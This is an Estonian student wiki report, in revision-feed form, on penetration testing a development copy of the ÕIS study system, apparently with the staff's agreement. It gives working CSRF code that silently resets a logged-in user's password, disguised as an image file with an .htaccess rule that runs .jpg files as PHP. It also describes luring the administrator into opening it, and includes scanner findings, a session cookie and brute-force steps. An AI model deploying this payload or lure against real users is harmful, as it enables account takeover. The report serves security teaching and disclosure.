Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
:Alo Konno A21&lt;br /&gt;
:Urmo Lihten A21&lt;br /&gt;
:Taavi Podžuks A22&lt;br /&gt;
:Matis Alliksoo A22&lt;br /&gt;
:Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47073</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47073"/>
		<updated>2012-03-30T21:05:07Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Security Team tegevusplaan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
:1.1	Tutvuda OWASP’iga. &lt;br /&gt;
:1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
:1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
:2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
:2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
:2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
:2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
:3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
:3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
:4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
:5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
:Cross-Site Scripting (XSS)&lt;br /&gt;
:SQL Injection (blind test)&lt;br /&gt;
:File inclusion&lt;br /&gt;
:Code Execution&lt;br /&gt;
:LDAP Injection&lt;br /&gt;
:Cross Frame Scripting&lt;br /&gt;
:SQL Injection (error msg. test)&lt;br /&gt;
:CRLF Injection&lt;br /&gt;
:Directory Travelsal&lt;br /&gt;
:XPath Injection&lt;br /&gt;
:URL Redirection&lt;br /&gt;
:Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
